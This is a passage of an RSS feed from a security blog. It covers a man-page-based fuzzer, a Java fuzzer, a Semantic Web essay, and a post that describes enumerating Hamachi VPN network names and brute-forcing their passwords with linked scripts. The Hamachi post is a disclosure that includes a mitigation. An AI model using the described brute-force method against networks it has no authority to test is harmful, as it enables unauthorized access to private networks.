<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/197/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/197/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/197/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/197/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/197/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=197&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2007/08/08/using-steganography-to-improve-hash-functions%e2%80%99-collision-resistance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>FuzzMan &#8211; man pages based fuzzer</title>
		<link>http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/</link>
		<comments>http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/#comments</comments>
		<pubDate>Wed, 18 Apr 2007 09:54:10 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[fuzzing]]></category>
		<category><![CDATA[idea]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/</guid>
		<description><![CDATA[Fuzzing using man pages This article is to introduce a (probably) new fuzzing idea (FuzzMan) that is built around man pages. Many know that in *nix systems if you type man command you will get a manual page informing you on how to use a specific tool. So by just looking at the manual you [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=40&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img src="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman.jpg?w=720" alt="" /> <em>Fuzzing using man pages</em> This article is to introduce a (probably) new fuzzing idea  (<a href="http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/">FuzzMan</a>)  that is built around man pages. Many know that in *nix systems if you type <strong>man command</strong> you  will get a <a href="http://en.wikipedia.org/wiki/Manual_page_%28Unix%29">manual page</a> informing you on how to use a specific tool. So by just looking at the manual  you can find out pretty much in seconds what type of argument and what options are offered by  any given command.</p>
<p>The format which man pages follow is universal (mostly), so it is not very difficult to  make a script and extract the offered options &#8211; which is exactly what gave me the idea of making a tool that can generate fuzzing data based on manual pages. Based on that  concept we can fuzz as accurately as possible any command that has a man page.</p>
<p>So lets take a command and generate fuzzing data.</p>
<p>The choice for this example is &#8220;shar&#8221; <em>- GNU sharutils 4.2.1</em></p>
<p><strong>Shar</strong> creates  &#8220;shell  archives&#8221;  (or  shar files) which are in text format and can be mailed.  These files may be unpacked later by executing them with /bin/sh.  The resulting archive is sent to standard out unless the -o option is  given.</p>
<p>Below you can see how a man page looks in the console<br />
<img src="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman1.jpg?w=720" alt="" /><br />
or have a look at the On-line <strong>Shar</strong> <a href="http://linuxmanpages.com/man1/shar.1.php">Manual page</a>There are several options available for this command and therefore the fuzzer has to generate lots of combinations. Fuzzman catches signals so if you see that you have enough combinaitons you can press ctrl-c.<br />
if you type <strong>./fuzzman.pl shar</strong> you get :</p>
<p><code>=== Extract arguments for "shar" ===<br />
STANDARD<br />
: --version<br />
: --print-text-domain-dir<br />
: --help<br />
: --version<br />
:        -q<br />
:        -p<br />
:        -Z<br />
:        -S<br />
:        -z<br />
:        -o<br />
:        -l<br />
:        -L<br />
:        -n<br />
.<br />
.<br />
.<br />
: --no-i18n<br />
: --print-text-domain-dir<br />
ADDITIONAL<br />
: EXTRA BoF Arg<br />
: EXTRA Format String Arg<br />
: EXTRA Numbers  Arg</code></p>
<p><code>:Number of Arguments :36 <strong>&lt;=== it is not 100% accurate</strong> but is very close</p>
<p></code></p>
<p><code>=== Generate Fuzzing Script ===<br />
+STOP GENERATOR WITH CTRL-C<br />
:Agrument combinations  : 1040  <strong>&lt;== This is the combinations counter</strong><br />
:Partial shar.sh, not all combinations have been generated<br />
:Run fuzzing script [sh shar.sh]</code></p>
<p>We can see above that there are approximately 36 options. That would create several thousand combinations so I stopped it at 1040 combinations. Fuzzman tried different options adding arguments that could potentially lead to different overflow types, now the shar.sh script is ready.</p>
<p>Starting the shar.sh will execute the command 1040 times.<br />
<img src="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman2.jpg?w=720" alt="" /><br />
As we can see above we hit into a bug, Segmentation fault is always a sign.</p>
<p>You can download Fuzzman from <a href="http://fuzzman.googlecode.com/files/fuzzman.tar.gz">here</a>,<br />
Enjoy<em> </em></p>
<p><em> </em></p>
<p><em>Note: This version of Sharutils have been reported for both Buffer Overflow and Format string vulns some time ago  (<a href="http://securityfocus.com/archive/1/359639/30/0/threaded">here</a> and <a href="http://securityfocus.com/bid/11298/info">here</a>)</em></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/40/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/40/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/40/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/40/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/40/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=40&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2007/04/18/fuzzman-man-pages-based-fuzzer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman.jpg" medium="image" />

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman1.jpg" medium="image" />

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2007/04/fuzzman2.jpg" medium="image" />
	</item>
		<item>
		<title>JavaFuzz</title>
		<link>http://cipher.org.uk/2007/01/23/javafuzz/</link>
		<comments>http://cipher.org.uk/2007/01/23/javafuzz/#comments</comments>
		<pubDate>Tue, 23 Jan 2007 16:07:59 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Projects]]></category>
		<category><![CDATA[fuzzing]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2008/01/23/javafuzz/</guid>
		<description><![CDATA[Java Fuzzer [Manual Page]-[Example Bug] Java classes fuzzer based on the the Java Reflection API. The reflection API represents, or reflects, the classes, interfaces, and objects in the current Java Virtual Machine. Using the reflection API it can contruct and invoke any given class (or list of classes). After getting the types that a class [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=42&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://javafuzz.googlecode.com/files/JavaFuzz-current.zip">Java Fuzzer</a></strong> [<a href="http://code.google.com/p/javafuzz/wiki/JavaFuzz">Manual Page</a>]-[<a href="http://code.google.com/p/javafuzz/wiki/Examples">Example Bug</a>]<br />
Java classes fuzzer based on the the Java Reflection API. The reflection API represents, or reflects, the classes, interfaces, and objects in the current Java Virtual Machine. Using the reflection API it can contruct and invoke any given class (or list of classes). After getting the types that a class accepts will construct the classes using inappropriate values. JavaFuzz is also hosted at <a href="http://code.google.com/p/javafuzz/">Google Projects</a> with source code.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/42/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/42/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/42/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/42/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/42/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=42&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2007/01/23/javafuzz/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>Hamachi Considerations</title>
		<link>http://cipher.org.uk/2006/11/03/hamachi-considerations/</link>
		<comments>http://cipher.org.uk/2006/11/03/hamachi-considerations/#comments</comments>
		<pubDate>Fri, 03 Nov 2006 17:31:58 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Bugs]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[vpn]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2008/01/27/hamachi-considerations/</guid>
		<description><![CDATA[&#8220;Hamachi is a zero-configuration virtual private networking (VPN) application.&#8221;I was introduced to Hamachi last week, and I thought wow that sounds cool and easy. So I installed both windows and linux versions and start messing around. while I was using different networks, I noticed that if you start typing random network names the system sents [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=8&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-333" title="hamachi_logo" src="http://cipherdotorgdotuk.files.wordpress.com/2006/11/hamachi_logo.jpg?w=720" alt="hamachi_logo"   /> <em>&#8220;Hamachi is a zero-configuration virtual private networking (VPN) application.&#8221;</em>I was introduced to <a href="http://www.hamachi.cc/">Hamachi</a> last week, and I thought wow that sounds cool and easy. So I installed both windows and linux versions and start messing around. while I was using different networks, I noticed that if you start  typing random network names the system sents back an obvious message saying if a network exists or not. I found that inappropriate, to illustrate an obvious use of that  I wrote a tiny perl script to detect different networks using the rather expected brute  force approach.</p>
<p><img class="alignnone size-full wp-image-334" title="detect-hamachi" src="http://cipherdotorgdotuk.files.wordpress.com/2006/11/detect-hamachi.jpg?w=720" alt="detect-hamachi"   /></p>
<pre>Detect Networks script <a href="http://downloads.cipher.org.uk/hamachiscripts.zip">Detect-hamachi.pl</a></pre>
<p>After that the next step was to see if the system returns a distinctive error if the network picked is correct but the password supplied is wrong. Again that proved to be the case, so the next step was to check on the network I created if there is any account lockout or IP blocking if I submit the wrong password several times. I send the wrong password 10 times and the account was still active. When considering the fact that someone creates a VPN to establish a secure tunnel between private assets this can be considered as an immediate security threat.</p>
<p>At this stage I modified the previous tiny script to go through a list of passwords given a valid  network name and the result was predictebale, found the valid password and join the network.</p>
<p><img class="alignnone size-full wp-image-335" title="beef-hamachi" src="http://cipherdotorgdotuk.files.wordpress.com/2006/11/beef-hamachi.jpg?w=720" alt="beef-hamachi"   /></p>
<pre>Find valid Hamachi passwords script <a href="http://downloads.cipher.org.uk/hamachiscripts.zip">beef-hamachi.pl</a></pre>
<p>A fast solution to the issue described is to &#8220;Block new network members by default&#8221;, there is an  option in the Security tab to do that.</p>
<p>All of the above are very simple observations, nothing on the protocol or implementation as such (also as far as I am concerned the project is closed source at the moment). Haven&#8217;t used it that much so if you see something wrong in here let <a href="http://www.cipher.org.uk/write/">me</a> know.</p>
<p>These scripts work only in linux and you need to have perl and hamachi installed.  Have a look at http://files.hamachi.cc/linux/README on how to install in linux , note in Debian  you need to create the /dev/net/tun device to make it work.</p>
<pre>mkdir /dev/net/tun
mknod /dev/net/tun c 10 200</pre>
<p>Note: The provided scripts are only for illustration purpose, use them only on networks you own.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/8/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/8/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/8/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=8&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2006/11/03/hamachi-considerations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2006/11/hamachi_logo.jpg" medium="image">
			<media:title type="html">hamachi_logo</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2006/11/detect-hamachi.jpg" medium="image">
			<media:title type="html">detect-hamachi</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2006/11/beef-hamachi.jpg" medium="image">
			<media:title type="html">beef-hamachi</media:title>
		</media:content>
	</item>
		<item>
		<title>The Semantic Web</title>
		<link>http://cipher.org.uk/2006/10/12/the-semantic-web/</link>
		<comments>http://cipher.org.uk/2006/10/12/the-semantic-web/#comments</comments>
		<pubDate>Thu, 12 Oct 2006 10:34:20 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[guest post]]></category>
		<category><![CDATA[semantic web]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2006/10/12/the-semantic-web/</guid>
		<description><![CDATA[Guest Post (by Nick Lagos) &#8220;The bane of my existence is doing things that I know the computer could do for me.&#8221; &#8212; Dan Connolly, The XML Revolution In 1989, Tim Berners-Lee, a British researcher working at CERN (Conseil European pour la Recherche Nucleaire), envisioned the birth of a linked information system that would offer [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=10&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Guest Post (by <a href="http://www.mec.cf.ac.uk/%7Escenl">Nick Lagos</a>)</p>
<p>&#8220;The bane of my existence is doing things that I know the computer could do for me.&#8221; &#8212; Dan Connolly, The XML Revolution</p>
<p>In 1989, Tim Berners-Lee, a British researcher working at CERN (Conseil European pour la Recherche Nucleaire), envisioned the birth of a linked information system that would offer efficient access to data, regardless of the program or terminal in use. That led to the creation of the World Wide Web. Nowadays, the essential property of the World Wide Web is its universality. This constitutes both power and weakness, as anything can be found but the amount of information included is enormous and thus unmanageable. In order to confront the problem of information proliferation, changes have to be made to the current structure of the Web. Along these lines, Tim Berners-Lee proposed the reformation of the Web, as it exists, to the &#8220;Semantic Web&#8221;. As Berners-Lee argues &#8220;the Semantic Web is not a separate Web but an extension of the current one, in which information is given well-defined meaning, better enabling computers and people to work in co-operation�the challenge of the Semantic Web, therefore, is to provide a language that expresses both data and rules for reasoning about the data and that allows rules from any existing knowledge-representation system to be exported onto the Web&#8221; (Berners-Lee et al. 2001).</p>
<p>So, the Semantic Web should provide enhanced information access based on the exploitation of machine-processable metadata. Facilities to put machine-understandable data on the Web are becoming a high priority for many communities. The Web can reach its full potential only if it becomes a place where data can be shared and processed by automated tools as well as by people. For the Web to scale, tomorrow&#8217;s programs must be able to share and process data even when these programs have been designed totally independently. The Semantic Web is a vision: the idea of having data on the Web defined and linked in a way that it can be used by machines not just for display purposes, but for automation, integration and reuse of data across various applications (W3C 2002).</p>
<p>But in order for the Semantic Web to become successful, it has to be based on the principles that made the current World Wide Web successful. According to Goble (2003) these are its scalability, by challenging assumptions on link consistency and completeness, and its simplicity. So the challenges that emerge for the semantic technologies to be brought in the Web are (Goble 2003):</p>
<ul>
<li>�	The Web is vast, so solutions have to scale. Reasoning engines must perform quickly and robustly.</li>
<li> The Web is here&#8211;we have a legacy so we will have a mixed environment where some resources are &#8220;semantic&#8221; and some are just &#8220;Web&#8221;. We must have a clear and achievable migration path from non-semantic to semantic.</li>
<li> The Web is democratic&#8211;all are knowledge acquisition experts and all are knowledge modellers. The barriers of admission must be low enough for most users to participate to the degree that is appropriate for them.</li>
<li> The Web grows from the bottom. Most people wrote their first HTML by editing a third parties. The Semantic Web will arise from fragments of metadata copied in a similar way.</li>
<li>	The Web is volatile and changeable&#8211;resources appear and disappear, resources change.</li>
<li> The Web is dirty&#8211;there is no way to ensure consistency or whether information is trustworthy, and provenance is unknown. However, tolerance of error does not necessarily mean one should be oblivious to it.</li>
<li> The Web is heterogeneous&#8211;no one solution or one technology will be adopted; no one set of metadata will apply to a resource. Agreements are difficult, and mappings and translations will be common place.</li>
</ul>
<p>Towards achieving the attainment of the Semantic Web, the development of three major technologies is needed. These are: a language that allows users to add structure into their documents easily and in a uniform way, a framework that would add meaning to the evolved structure and an entity that would solve the problem of communication. Each of these technologies will be presented and discussed in future sections.</p>
<p>Useful links:<br />
http://www.w3.org/2001/sw/ (W3C&#8217;s page, the power behind the Semantic Web)<br />
http://www.semanticweb.org/ (Community for the Semantic Web)<br />
http://rdfweb.org/ (Example of a Semantic Web application)<br />
http://www.w3.org/DesignIssues/Semantic (Roadmap to the future for the Semantic Web)<br />
http://ftrain.com/google_takes_all.html (Why Google marketplace became so successful?)<br />
http://www.netcrucible.com/semantic.html (How can you make a semantic web site?)</p>
<p>References</p>
<ul>
<li>	W3C Semantic Web Homepage, http://www.w3.org/2001/sw/ (21 November 2002).</li>
<li>	Goble, C. 2003. The Semantic Web: an evolution for a revolution. In: Computer Networks, Volume 42, Issue 5, pp. 551-556.</li>
<li>	Berners-Lee, T.; Hendler, J. and Lasilla, O. 2001. The Semantic Web. Ed. Scientific American, Vol. 284, Issue 5, New York.</li>
</ul>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/10/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/10/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/10/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=10&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2006/10/12/the-semantic-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
	</channel>
</rss>
